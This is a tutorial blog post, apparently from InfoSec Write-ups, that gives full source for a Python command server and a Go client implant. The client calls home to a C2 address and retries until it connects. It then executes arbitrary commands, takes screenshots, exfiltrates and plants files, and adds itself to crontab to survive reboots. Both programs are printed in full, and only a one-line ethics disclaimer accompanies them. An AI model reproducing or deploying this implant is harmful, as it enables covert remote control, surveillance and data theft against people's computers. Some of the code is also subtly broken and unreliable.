From Zero to Remote Control: A Dual-Language Approach with Python and Go

A comprehensive guide to creating remote control servers using both Python and Go

In this blog, we will build a basic project in Python and Go that allows for remote communication with a connected client to execute commands, upload/download files, and even capture screenshots. The project demonstrates the fundamentals of networking, file handling, and remote control in a straightforward way .

Alright, let’s dive into the code together! We’re going to break down both the Python (server-side) and Go (client-side) implementations in a way that’s super easy to follow. Step by step, I’ll explain each part so it feels like we’re building this together. Ready? Let’s kick things off with the Server-Side Implementation!

Setting Up the Server

from socket import socket, AF_INET, SOCK_STREAM
from base64 import b64decode, b64encode
import os

s = socket(AF_INET, SOCK_STREAM)
s.bind(("ip", 1234))
s.listen()

print("[+] Listening for Incoming Connections!!")

conn, address = s.accept()
print(f"Receiving connection from {address[0]}:{address[1]}")

The socket module is used to create a network socket for communication. AF_INET specifies IPv4, and SOCK_STREAM sets up a TCP connection.

The bind method binds the server to an IP and port . s.listen() allows the server to wait for incoming connections. s.accept() accepts the connection and prints the client's IP and port.

Handling Commands

while True:
inp = input("$ ")
cmd = inp + '\n'

if inp.lower() in ("q", "quit"):
conn.send(cmd.encode())
response = conn.recv(1024).decode()
print(response)
exit(0)
else:
conn.send(cmd.encode())
response = conn.recv(32768).decode()
print(response)

The while True loop continuously listens for user input. Commands like "q" or "quit" are used to close the connection by sending the command to the client and then terminating the program. For other commands, the server sends the input to the client using conn.send() and waits for the client's response using conn.recv(), which is then printed to the console .

Screenshot Command

elif inp.lower() in ("sc", "screenshot"):
conn.send(cmd.encode())
b64_string = ''

while True:
tmp = conn.recv(32768).decode()
b64_string += tmp
if len(tmp) < 32768:
break

with open("screenshot.png", "wb") as f:
f.write(b64decode(b64_string))
print("Screenshot saved successfully!")

When the user inputs the screenshot command, the server sends this command to the client using conn.send(). The client processes the command, captures the current screen using appropriate screenshot tools, encodes the screenshot image in Base64 format, and sends it back to the server in chunks.

The server collects these chunks in a loop until the data transmission is complete. It then decodes the Base64-encoded string back into binary image data using b64decode() and saves it as a file named screenshot.png. This allows the server to successfully retrieve and store a screenshot taken on the client machine.

File Download

elif inp.split(' ')[0].lower() == "download":
conn.send(cmd.encode())
b64_string = ''

while True:
tmp = conn.recv(32768).decode()
b64_string += tmp
if len(tmp) < 32768:
break

if "not found" in b64_string:
print(b64_string)
continue

file_name, b64_string = b64_string.split(":")
with open(file_name, "wb") as f:
f.write(b64decode(b64_string))

When the server sends the download command along with the file name, the client reads the file, encodes its content in Base64, and sends it back to the server. The server collects the data in chunks, decodes the Base64 string back into the original file content using b64decode(), and saves it locally with the same name as the original file. If the file does not exist on the client side, the client sends an error message, which the server displays.

File Upload

elif inp.split(' ')[0].lower() == "upload":
file_name = inp.split(' ')[1].strip()
if not os.path.exists(file_name):
print("File does not exist")
else:
with open(file_name, "rb") as f:
file_content = b64encode(f.read())
tmp = ":".join([file_name, str(file_content)]) + "\n"
conn.send(tmp.encode())
response = conn.recv(1024).decode()
print(response)

When the server sends the upload command followed by the file name, it first checks if the specified file exists on the server side. If the file is found, the server reads the file content, encodes it in Base64 using b64encode(), and sends it to the client. The client decodes the Base64 string back into binary data and saves the file with the specified name on the client machine. If the file is not found on the server, an error message is displayed .

from socket import socket , AF_INET , SOCK_STREAM 
from base64 import b64decode,b64encode
import os

s = socket(AF_INET , SOCK_STREAM)
s.bind(("ip",1234))
s.listen()
print("[+] Listen for Incoming Connections !!")

conn , address = s.accept()

print(f"Receiving connection from {address[0]} : {address[1]}")


while True :
inp = input("$ ")
cmd = inp + '\n'

if inp.lower() in ("q","quit"):
conn.send(cmd.encode())
response = conn.recv(1024).decode()
print(response)
exit(0)

elif inp.lower() in ("sc","screenshot"):
conn.send(cmd.encode())
b64_string = ''
while True :
tmp = conn.recv(32768).decode()
b64_string +=tmp
if len(tmp) < 32768 :
break
with open ("screenshot.png", "wb") as f:
f.write(b64decode(b64_string))
print("screenshot saved succ")

elif inp.split (' ')[0].lower == "download" :
conn.send(cmd.encode())
b64_string = ''
while True :
tmp = conn.recv(32768).decode()
b64_string +=tmp
if len(tmp) < 32768 :
break
if "not found " in b64_string :
print (b64_string)
continue

file_name , b64_string = b64_string.split(":")
with open (file_name , "wb") as f :
f.write(b64decode(b64_string))

elif inp.split(' ')[0].lower == "upload" :
file_name = inp.split(' ')[1].strip()
if not os.path.exists(file_name) :
print("file dos not exist")
else :
file_content = ''
with open (file_name , "rb") as f :
file_content = b64encode(f.read())
tmp = ":".join([file_name,str(file_content)]) + "\n"
conn.send(tmp.encode())
response = conn.recv(1024).decode()
print(response)

else :
conn.send(cmd.encode())
response = conn.recv(32768).decode()
print (response)

We established a robust communication channel with clients using TCP sockets. It listens for requests, handles commands like taking screenshots, uploading/downloading files, and running system commands. It also ensures that data is safely sent by encoding it in Base64. The server efficiently manages client requests and handles any errors, making sure everything works smoothly.

Go (Client-Side) Implementation

So now moving on to the Client-Side implimentation

Package and Imports

package main

import (
"bufio"
"encoding/base64"
"fmt"
"image/png"
"net"
"os"
"os/exec"
"strings"
"time"

"github.com/kbinani/screenshot"
)

The package main defines the entry point of the program in Go. This package contains the main() function, which is automatically executed when the program starts. The program imports several essential packages to handle various tasks. bufio is used for buffered I/O operations, allowing the program to read commands from the incoming connection efficiently. encoding/base64 is used for encoding and decoding data in Base64 format, which is crucial for transferring binary data (like files and screenshots) over a network as text. fmt provides formatted input and output functions, such as fmt.Fprintf, used to send structured responses to the server. image/png helps in encoding images in PNG format, specifically for saving screenshots taken by the client and sending them back to the server in Base64. net is responsible for handling network operations, enabling the establishment of a TCP connection between the client and server using net.Dial and facilitating data transmission via conn.Read and conn.Write. OS allows interaction with the operating system, providing functions for file system operations and executing system-level commands. OS/EXEC enables the execution of external commands, including system commands received from the server. It’s also used for establishing persistence by adding the client to the system's cron job for automatic restart. strings is used for string manipulation, such as splitting commands and checking conditions, helping in parsing commands like "cd", "download", and "upload". Time handles timing and delays, specifically allowing the client to retry the connection after a 30-second wait if the initial connection attempt fails. github.com/kbinani/screenshot is a third-party package that captures screenshots of the display and encodes them in PNG format. It is used in the client to take screenshots when the server issues the "screenshot" command. Together, these packages enable the client to execute commands, upload and download files, take screenshots, and maintain a persistent connection with the server, ensuring seamless communication and task execution.

Persistence

func persist() string {
file_name := "/tmp/persist"
file, _ := os.Create(file_name)
exec_path, _ := os.Executable()
fmt.Fprintf(file, "@reboot %s\n", exec_path)
_, err := exec.Command("/usr/bin/crontab", file_name).CombinedOutput()
os.Remove(file_name)
if err != nil {
return "Error establishing Persistance"
} else {
return "Persistance has been establishing Succ"
}
}

The persist() function ensures that the client runs automatically whenever the system is restarted. It starts by creating a temporary file (/tmp/persist) where it writes a crontab entry that schedules the client to execute on reboot. This crontab entry uses the @reboot directive, which tells the system to run the specified command (in this case, the client executable) every time the system restarts. The function then uses the exec.Command function to run the crontab command with the temporary file as an argument, adding the entry to the system's crontab. Afterward, the temporary file is deleted to clean up. If the process succeeds, the function returns the message "Persistence has been established." If any errors occur during the process, such as a failure in executing the crontab command, it returns the message "Error establishing persistence." This ensures that the client will continue to run even after the system is rebooted or the client is disconnected.

Connecting to the Server

func connect_home() net.Conn {
conn, err := net.Dial("tcp", C2)
if err != nil {
time.Sleep(time.Second * 30)
return connect_home()
}
return conn
}

The connect_home() function establishes a TCP connection with the server. It uses net.Dial to attempt a connection to the server specified by the constant C2 (which holds the IP and port). If the connection fails for any reason, the function waits for 30 seconds using time.Sleep and then retries the connection. This retry loop continues until a successful connection is made, ensuring that the client can always re-establish communication with the server, even after failures or network issues.

Sending Responses to the Server

func send_response(conn net.Conn, msg string) {
fmt.Fprintf(conn, "%s", msg)
}

The send_response() function sends a response message to the server. It utilizes fmt.Fprintf to write the message, msg, to the open TCP connection (conn). This allows the client to communicate feedback, such as command results or error messages, back to the server. The function is used throughout the client code to send various responses depending on the received commands.

Handling File Uploads

func save_file(file_name string, b64_string string) bool {
temp := b64_string[2 : len(b64_string)-1]
content, _ := base64.StdEncoding.DecodeString(temp)
if err := os.WriteFile(file_name, content, 0644); err != nil {
return false
}
return true
}

The save_file() function decodes and saves a Base64-encoded file received from the server. The goal of this function is to handle the reception of Base64-encoded files and store them locally. first it decodes the received Base64 string using base64.StdEncoding.DecodeString(). This process converts the Base64-encoded string back to its original binary form. Then, it writes the decoded content to a file using os.WriteFile(). The file is saved with 0644 permissions, which means the file is readable by all users but writable only by the owner. This ensures proper file storage and access management while handling file transfers from the server.

Handling File Downloads


func file_exists(file string) bool {
if _, err := os.Stat(file); err != nil {
return false
}
return true
}


func file_64(file string) string {
content, _ := os.ReadFile(file)
return base64.StdEncoding.EncodeToString(content)
}


func get_file(file string) string {
if !file_exists(file) {
return "File not Found"
} else {
return file + ":" + file_64(file)
}
}

The get_file() function retrieves a file's Base64-encoded content to send to the server. The function is responsible for checking the existence of the requested file and encoding it in Base64 for transmission to the server. It first calls the file_exists() function to verify whether the file exists on the system. If the file is found, the function proceeds to encode its content using the file_64() function, which reads the file and encodes it in Base64 format using base64.StdEncoding.EncodeToString(). The resulting Base64 string is then sent to the server, enabling file transfer over the network. If the file is not found, the function sends an error message.

Capturing Screenshots

func take_screen_shot() string {
bounds := screenshot.GetDisplayBounds(0)
img, _ := screenshot.CaptureRect(bounds)
file, _ := os.Create("wallpaper.png")
defer file.Close()
png.Encode(file, img)
b64_string := file_64("wallpaper.png")
os.Remove("wallpaper.png")
return b64_string
}

The process begins by capturing a screenshot and encoding it for network transmission, it first captures the display bounds by retrieving the primary monitor’s display bounds to define the area for the screenshot. Then, it saves the screenshot as wallpaper.png using the screenshot.CaptureRect() function to capture the screen and save it as a PNG file named wallpaper.png. After that, it encodes the file in Base64 by reading the saved image and converting it into a Base64 string, making it easy to send over the network. Finally, the temporary PNG file is deleted after the encoding process to ensure no unnecessary files are left behind. This streamlined approach captures the screenshot, encodes it, and ensures easy transmission to the server.

Executing System Commands

func command_execution(cmd string) string {
output, err := exec.Command(cmd).Output()
if err != nil {
return err.Error()
} else {
return string(output)
}
}

This process involves using the os/exec.Command function to run a specified system command. After executing the command, the program collects the output or captures any errors that occur. The result is then returned, either as the successful output from the command or as an error message if the command fails. This allows for the automation of system tasks and retrieval of information from executed commands.

package main

import (
"bufio"
"encoding/base64"
"fmt"
"image/png"
"net"
"os"
"os/exec"
"strings"
"time"

"github.com/kbinani/screenshot"
)

const C2 string = "ip:port"

func main() {

conn := connect_home()

for {
cmd, _ := bufio.NewReader(conn).ReadString('\n')
cmd = strings.TrimSpace(cmd)

if cmd == "q" || cmd == "quit" {
send_response(conn, "Closing Connexion")
conn.Close()
break
} else if cmd[0:2] == "cd" {
if cmd == "cd" {
cwd, err := os.Getwd()
if err != nil {
send_response(conn, err.Error())
} else {
send_response(conn, cwd)
}
} else {
target_directory := strings.Split(cmd, " ")[1]
if err := os.Chdir(target_directory); err != nil {
send_response(conn, err.Error())
} else {
send_response(conn, target_directory)
}
}
} else if strings.Contains(cmd, ":") {
tmp := strings.Split(cmd, ":")
if save_file(tmp[0], tmp[1]) {
send_response(conn, "file uploaded succ")
} else {
send_response(conn, "error when uploading ur file")
}
} else if tmp := strings.Split(cmd, " "); tmp[0] == "download" {
send_response(conn, get_file(tmp[1]))
} else if cmd == "screenshot" {
send_response(conn, take_screen_shot())
} else if cmd == "persist" {
send_response(conn, persist())
} else {
send_response(conn, command_execution(cmd))
}
}
}

func persist() string {
file_name := "/tmp/persist"
file, _ := os.Create(file_name)
exec_path, _ := os.Executable()
fmt.Fprintf(file, "@reboot %s\n", exec_path)
_, err := exec.Command("/usr/bin/crontab", file_name).CombinedOutput()
os.Remove(file_name)
if err != nil {
return "Error establishing Persistance"
} else {
return "Persistance has been establishing Succ"
}
}

func connect_home() net.Conn {
conn, err := net.Dial("tcp", C2)
if err != nil {
time.Sleep(time.Second * 30)
return connect_home()
}
return conn
}

func send_response(conn net.Conn, msg string) {
fmt.Fprintf(conn, "%s", msg)
}

func save_file(file_name string, b64_string string) bool {
temp := b64_string[2 : len(b64_string)-1]
content, _ := base64.StdEncoding.DecodeString(temp)
if err := os.WriteFile(file_name, content, 0644); err != nil {
return false
}
return true
}

func get_file(file string) string {
if !file_exists(file) {
return "File not Found"
} else {
return file + ":" + file_64(file)
}
}

func file_exists(file string) bool {
if _, err := os.Stat(file); err != nil {
return false
}
return true
}

func file_64(file string) string {
content, _ := os.ReadFile(file)
return base64.StdEncoding.EncodeToString(content)
}

func take_screen_shot() string {
bounds := screenshot.GetDisplayBounds(0)
img, _ := screenshot.CaptureRect(bounds)
file, _ := os.Create("wallpaper.png")
defer file.Close()
png.Encode(file, img)
b64_string := file_64("wallpaper.png")
os.Remove("wallpaper.png")
return b64_string
}

func command_execution(cmd string) string {
output, err := exec.Command(cmd).Output()
if err != nil {
return err.Error()
} else {
return string(output)
}
}

After setting up a client-server communication system using Python and Go, with an emphasis on handling various system tasks remotely. The client-server interaction includes capabilities for executing commands, capturing screenshots, uploading and downloading files, and establishing persistence on the target machine. The server listens for incoming connections, processes commands like “download,” “upload,” “screenshot,” and “execute,” and handles file transfers using Base64 encoding. The Go client continuously connects to the server, executes the given commands, and responds with the results, whether it’s file content, system command outputs, or screenshots. By understanding these processes, you can build a robust client-server system for remote task management.

While this project is for educational purposes, it’s a great starting point for learning about cybersecurity tools and techniques. Always ensure ethical use of such projects!
Thank you for being part of this incredible journey! I hope you found this project walkthrough insightful and inspiring. Stay tuned for more exciting projects and detailed guides coming your way soon! ??

From Zero to Remote Control: A Dual-Language Approach with Python and Go was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

原始链接: https://infosecwriteups.com/from-zero-to-remote-control-a-dual-language-approach-with-python-and-go-3174cb0ec4f8?source=rss----7b722bfd1b8d---4
侵权请联系站方: [email protected]

相关推荐

换一批